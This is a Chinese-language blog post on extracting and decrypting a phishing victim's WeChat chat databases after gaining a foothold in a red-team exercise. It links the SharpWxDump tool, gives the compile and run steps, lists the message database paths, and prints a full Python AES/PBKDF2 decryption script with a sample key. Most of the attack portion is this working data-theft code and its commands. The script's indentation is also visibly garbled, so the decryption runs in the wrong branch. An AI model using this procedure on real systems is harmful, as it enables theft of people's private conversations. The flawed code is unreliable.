信息搜集-读取微信聊天记录

背景

在攻防演练的钓鱼上线后,如果被钓的人使用微信,这时候可以通过读取微信里的聊天记录进行进一步搜集。

使用公开Github项目

https://github.com/AdminTest0/SharpWxDump
编译命令:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\Program.cs /platform:x86

读取流程

首先获取微信的Wechatkey ==》找到对应聊天记录的数据库 ==》 使用python脚本解密 ==》 使用Navicat 等数据库工具打开读取明文

获取微信信息

编译成x86架构、直接运行。获取到微信的一些信息。

SharpWxDump.exe 获取 WeChatKey

微信信息存储的位置

微信消息

C:\Users\用户名\Documents\WeChat Files\微信ID\Msg\Multi 里获取MSG0.db

微信转发的消息

C:\Users\用户名\Documents\WeChat Files\微信ID\Msg\Multi \FTSMSG0.db
转发的图片

WeChatImageDatEncryption

解密

使用weixn_decrypt.py

py weixn_decrypt.py -k 82805324835245BBB05FBBDC8DFD105315C5BC6972F24E26919815308291CADE -d MSG0.db

from Crypto.Cipher import AES
import hashlib, hmac, ctypes, sys, getopt
 
SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)
IV_SIZE = 16
HMAC_SHA1_SIZE = 20
KEY_SIZE = 32
DEFAULT_PAGESIZE = 4096
DEFAULT_ITER = 64000
opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')
input_pass = ''
input_dir = ''
 
for op, value in opts:
    if op == '-k':
        input_pass = value
    else:
        if op == '-d':
            input_dir = value
            
            password = bytes.fromhex(input_pass.replace(' ', ''))
            
            with open(input_dir, 'rb') as (f):
                blist = f.read()
                print(len(blist))
                salt = blist[:16]
                key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)
                first = blist[16:DEFAULT_PAGESIZE]
                mac_salt = bytes([x ^ 58 for x in salt])
                mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)
                hash_mac = hmac.new(mac_key, digestmod='sha1')
                hash_mac.update(first[:-32])
                hash_mac.update(bytes(ctypes.c_int(1)))
                
                if hash_mac.digest() == first[-32:-12]:
                    print('Decryption Success')
                else:
                    print('Password Error')
                    blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
                    
                    with open(input_dir, 'wb') as (f):
                        f.write(SQLITE_FILE_HEADER)
                        t = AES.new(key, AES.MODE_CBC, first[-48:-32])
                        f.write(t.decrypt(first[:-48]))
                        f.write(first[-48:])
                        for i in blist:
                            t = AES.new(key, AES.MODE_CBC, i[-48:-32])
                            f.write(t.decrypt(i[:-48]))
        f.write(i[-48:])

实战中利用

https://www.yuque.com/pantom

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值